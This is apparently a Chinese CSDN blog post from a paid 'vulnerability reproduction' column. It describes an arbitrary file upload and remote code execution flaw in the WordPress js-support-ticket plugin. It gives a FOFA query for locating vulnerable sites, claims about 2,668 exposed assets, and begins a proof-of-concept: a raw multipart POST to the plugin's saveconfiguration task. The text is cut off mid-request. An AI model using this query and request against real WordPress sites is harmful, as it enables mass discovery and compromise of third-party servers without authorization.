wordpress js-support-ticket文件上传漏洞（含批量验证poc）

今天晚上早睡觉

已于 2024-04-02 14:24:41 修改

阅读量264

点赞数 5

分类专栏：漏洞复现文章标签： web安全

于 2024-04-02 14:24:30 首次发布

本文链接：https://blog.csdn.net/weixin_43567873/article/details/137269087

版权

漏洞复现专栏收录该内容

361 篇文章 100 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

简介

WordPress js-support-ticket存在一个严重的安全漏洞,攻击者可以在安装了js-support-ticket的任何WordPress网站上任意上传文件并远程代码执行。

漏洞描述

WordPress js-support-ticket插件saveconfiguration功能文件上传漏洞

Fofa语法与漏洞编号

FOFA：

body="wp-content/plugins/js-support-ticket"

影响资产数量：2,668

CNVD漏洞编号：无

影响版本

WordPress js-support-ticket

漏洞复现

POC

POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host: 
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0 

----------767099171
Content-Disposition: form-data; name="action"

configuration_saveconfiguration
----------767099171
Con